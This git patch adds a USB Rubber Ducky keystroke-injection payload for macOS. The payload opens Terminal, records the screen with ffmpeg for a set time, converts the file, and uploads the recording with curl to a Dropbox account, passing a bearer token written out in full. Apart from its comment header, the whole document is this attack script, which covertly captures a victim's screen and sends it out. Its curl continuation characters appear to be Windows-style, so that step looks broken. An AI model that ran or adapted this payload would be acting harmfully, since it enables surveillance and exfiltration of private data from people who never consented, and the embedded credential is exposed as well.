From f5e3f1cb1493a744e0d09f121e164da9f335f849 Mon Sep 17 00:00:00 2001 From: Narsty Date: Sun, 21 May 2023 22:27:06 -0500 Subject: [PATCH] Add files via upload --- .../Screen Recorder MacOs to Dropbox.txt | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 Executions/Screen Recorder MacOs to Dropbox.txt diff --git a/Executions/Screen Recorder MacOs to Dropbox.txt b/Executions/Screen Recorder MacOs to Dropbox.txt new file mode 100644 index 0000000..1114252 --- /dev/null +++ b/Executions/Screen Recorder MacOs to Dropbox.txt @@ -0,0 +1,56 @@ +REM Description: This script records the screen and saves the recording as a video file. +REM Must have terminal recording privilege enabled +REM screen recording command and the conversion of the recording to an MP4 file. +REM It includes a delay of 10 seconds after starting the recording to allow for the desired recording duration. Can adjust the delay for longer recordings line + +REM After that, it sends the interrupt signal (Ctrl+C) to stop the recording. +REM Then it proceeds with the conversion of the recorded file from MKV to MP4 format using the ffmpeg command And stores it on the desktop + +REM Author: Narsty +REM Title: Screen Recorder MacOs +REM Target: MacOS +REM Version: 1.0 +REM Category: Execution + + +DELAY 1000 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +DELAY 500 +STRING ffmpeg -f avfoundation -r 30 -i "1" -c:v libx264 -preset ultrafast -tune zerolatency -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mkv +DELAY 250 +ENTER +DELAY 10000 ; Delay for 10 seconds (adjust as needed) +CTRL C ; Send the interrupt signal to stop the recording +DELAY 500 +STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mp4 +DELAY 250 +ENTER +DELAY 500 +STRING curl -X POST "https://content.dropboxapi.com/2/files/upload" ^ +DELAY 500 +ENTER +DELAY 500 +STRING -H "Authorization: Bearer sl.Be0bgmYKBZm4BgrZR-Wj1Q-ha4pD26_jQ6re-9c9ebgPi5pT5720Uhgtni8QROC8BxVjP8FviNYeC4QiCkupCT2MJ3oStYo-QxTG1AftSp545xk5VDO1pzRA6GtcCKFtln1VyUlxKpLH" ^ +DELAY 500 +ENTER +DELAY 500 +STRING -H "Dropbox-API-Arg: {\"path\": \"/screen_recording.mp4\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" ^ +DELAY 500 +ENTER +DELAY 500 +STRING -H "Content-Type: application/octet-stream" ^ +DELAY 500 +ENTER +DELAY 500 +STRING --data-binary @~/Desktop/screen_recording.mp4 ^ +DELAY 500 +ENTER + + + + +